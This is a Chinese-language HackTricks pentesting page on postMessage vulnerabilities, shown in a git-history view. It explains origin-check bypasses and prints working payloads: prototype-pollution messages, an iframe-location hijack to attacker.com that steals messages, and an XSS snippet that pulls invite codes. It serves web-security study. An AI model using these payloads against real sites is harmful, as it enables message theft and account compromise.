hacktricks/pentesting-web/postmessage-vulnerabilities/README.md

238 lines
12 KiB
Markdown
Raw Normal View History

# PostMessage漏洞
2022-04-28 16:01:33 +00:00
## PostMessage漏洞
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
</details>
## 发送**PostMessage**
2021-01-07 12:57:52 +00:00
**PostMessage**使用以下函数发送消息:
2021-10-04 21:42:12 +00:00
```bash
2021-01-07 12:57:52 +00:00
targetWindow.postMessage(message, targetOrigin, [transfer]);
2021-10-04 21:42:12 +00:00
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
2021-10-04 21:42:12 +00:00
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
2022-08-02 16:08:10 +00:00
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
2021-10-04 21:42:12 +00:00
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
2022-08-02 16:08:10 +00:00
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
2021-01-07 12:57:52 +00:00
```
请注意,**targetOrigin** 可以是 '\*' 或 URL_https://company.com._\
在**第二种情况**中,**消息只能发送到该域**(即使窗口对象的来源不同)。\
如果使用**通配符****消息可以发送到任何域**,并将发送到窗口对象的来源。
2021-01-07 12:57:52 +00:00
### 攻击 iframe 和 **targetOrigin** 中的通配符
2021-01-07 12:57:52 +00:00
正如[**此报告**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)所解释的,如果您找到一个可以被**iframed**(没有 `X-Frame-Header` 保护)且通过**postMessage**发送**敏感**消息的页面,且使用**通配符**\*),您可以**修改** **iframe** 的**来源**并将**敏感**消息**泄漏**到您控制的域。\
请注意,如果页面可以被 iframed 但**targetOrigin**设置为 URL 而不是通配符,则此**技巧将无效**。
2021-01-07 12:57:52 +00:00
```markup
<html>
2023-08-03 19:12:22 +00:00
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
2021-01-07 12:57:52 +00:00
```
## addEventListener 漏洞利用
2021-01-07 12:57:52 +00:00
**`addEventListener`** 是 JS 使用的函数,用于声明期望接收 `postMessages` 的函数。\
将使用类似以下代码的代码:
2021-01-07 12:57:52 +00:00
```javascript
window.addEventListener("message", (event) => {
2023-08-03 19:12:22 +00:00
if (event.origin !== "http://example.org:8080")
return;
2021-01-07 12:57:52 +00:00
2023-08-03 19:12:22 +00:00
// ...
2021-01-07 12:57:52 +00:00
}, false);
```
2023-08-03 19:12:22 +00:00
### 枚举
为了在当前页面中找到事件监听器,您可以:
- **搜索**JS代码中的`window.addEventListener`和`$(window).on`_JQuery版本_
- 在开发者工具控制台中**执行**`getEventListeners(window)`
2020-12-17 13:13:28 +00:00
![](<../../.gitbook/assets/image (618) (1) (1).png>)
- 转到浏览器的开发者工具中的_元素 --> 事件监听器_
![](<../../.gitbook/assets/image (617).png>)
- 使用类似[**https://github.com/benso-io/posta**](https://github.com/benso-io/posta)或[https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker)的**浏览器扩展**。这些浏览器扩展将**拦截所有消息**并显示给您。
### 源检查绕过
- **`event.isTrusted`**属性被认为是安全的,因为它仅对由真实用户操作生成的事件返回`True`。尽管如果实施正确,很难绕过,但它在安全检查中的重要性值得注意。
- 在PostMessage事件中使用**`indexOf()`**进行源验证可能会容易受到绕过。一个说明此漏洞的示例是:
```javascript
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
```
- `String.prototype.search()`中的**`search()`**方法用于正则表达式,而不是字符串。传递除正则表达式之外的任何内容会导致隐式转换为正则表达式,使该方法可能不安全。这是因为在正则表达式中,点(.)充当通配符,允许使用特别设计的域绕过验证。例如:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- 与`search()`类似,**`match()`**函数处理正则表达式。如果正则表达式结构不正确,可能容易受到绕过攻击。
- **`escapeHtml`**函数旨在通过转义字符来对输入进行清理。但它不会创建新的转义对象,而是覆盖现有对象的属性。这种行为可能会被利用。特别是,如果可以操纵对象以使其受控属性不承认`hasOwnProperty`,则`escapeHtml`不会按预期执行。以下示例演示了这一点:
- 预期失败:
2020-12-17 13:13:28 +00:00
```javascript
result = u({
2023-08-03 19:12:22 +00:00
message: "'\"<b>\\"
2020-12-17 13:13:28 +00:00
});
result.message // "&#39;&quot;&lt;b&gt;\"
```
- 绕过转义:
```javascript
2020-12-17 13:13:28 +00:00
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```
在此漏洞的背景下,`File`对象由于其只读的`name`属性而容易受到利用。当在模板中使用此属性时,它不会被`escapeHtml`函数清理,从而导致潜在的安全风险。
- JavaScript中的`document.domain`属性可以由脚本设置为缩短域名,从而在同一父域内更轻松地执行同源策略。
2020-12-17 13:13:28 +00:00
### e.origin == window.origin绕过
2022-10-13 00:56:34 +00:00
在使用%%%<iframe sandbox="allow-scripts" src="https://example.com/iframe.php">%%%嵌入受沙盒保护的iframe中的网页时了解iframe的源将设置为`null`至关重要。这在处理**沙盒属性**及其对安全性和功能的影响时尤为重要。
2022-10-13 00:56:34 +00:00
通过在沙盒属性中指定**`allow-popups`**从iframe内部打开的任何弹出窗口都会继承其父级的沙盒限制。这意味着除非还包括**`allow-popups-to-escape-sandbox`**属性,否则弹出窗口的源也会被设置为`null`与iframe的源相匹配。
2022-10-13 00:56:34 +00:00
因此在这些条件下打开弹出窗口并从iframe发送消息到弹出窗口时发送和接收端的源都设置为`null`。这种情况导致**`e.origin == window.origin`**评估为true`null == null`因为iframe和弹出窗口共享`null`的相同源值。
2022-10-13 00:56:34 +00:00
有关更多信息,请阅读:
2022-10-13 00:56:34 +00:00
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
### 绕过e.source
2022-10-13 00:56:34 +00:00
可以检查消息是否来自脚本正在监听的同一窗口(对于**浏览器扩展的内容脚本**特别有趣,以检查消息是否来自同一页面):
```javascript
// If its not, return immediately.
if( received_message.source !== window ) {
return;
}
```
您可以通过创建一个**iframe**发送**postMessage**并**立即删除**它,强制消息的**`e.source`**为null。
2022-10-13 00:56:34 +00:00
要了解更多信息,请阅读:
2022-10-13 00:56:34 +00:00
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}
### X-Frame-Header绕过
为了执行这些攻击,理想情况下您可以将受害者网页放在一个`iframe`中。但是一些头部字段,如`X-Frame-Header`可能会**阻止**这种**行为**。\
在这种情况下您仍然可以使用一种不太隐蔽的攻击。您可以打开一个新标签页到受影响的Web应用程序并与其通信
```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### 通过阻止主页面窃取发送给子页面的消息
在以下页面中,您可以看到如何通过在发送数据之前**阻止主页面**并利用**子iframe**中的**XSS**来**窃取敏感的postmessage数据**,在数据被接收之前**泄露数据**
2022-10-13 00:56:34 +00:00
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
### 通过修改iframe位置窃取消息
2022-10-13 00:56:34 +00:00
如果您可以嵌入一个没有X-Frame-Header的包含另一个iframe的网页您可以**更改该子iframe的位置**,因此,如果它正在接收使用**通配符**发送的**postmessage**攻击者可以将该iframe的**来源**更改为由他控制的页面,并**窃取消息**
2022-10-13 00:56:34 +00:00
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
### postMessage到Prototype Pollution和/或XSS
在通过`postMessage`发送的数据由JS执行的情况下您可以**嵌入**该**页面**并利用**原型污染/XSS**通过`postMessage`发送利用程序。
2021-10-04 22:23:21 +00:00
可以在[https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)中找到一些**非常好解释的通过`postMessage`的XSS**示例。
通过`postMessage`滥用**原型污染然后XSS**到一个`iframe`的利用示例:
```html
<html>
<body>
2023-08-03 19:12:22 +00:00
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
```
2023-08-03 19:12:22 +00:00
**更多信息**
* 链接到有关[**原型污染**](../deserialization/nodejs-proto-prototype-pollution/)的页面
* 链接到有关[**XSS**](../xss-cross-site-scripting/)的页面
* 链接到有关[**客户端原型污染到XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)的页面
2021-03-23 22:23:10 +00:00
2023-08-03 19:12:22 +00:00
## 参考资料
2021-03-23 22:23:10 +00:00
2021-10-22 10:16:40 +00:00
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
2023-08-03 19:12:22 +00:00
* 练习:[https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
支持HackTricks的其他方式
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
</details>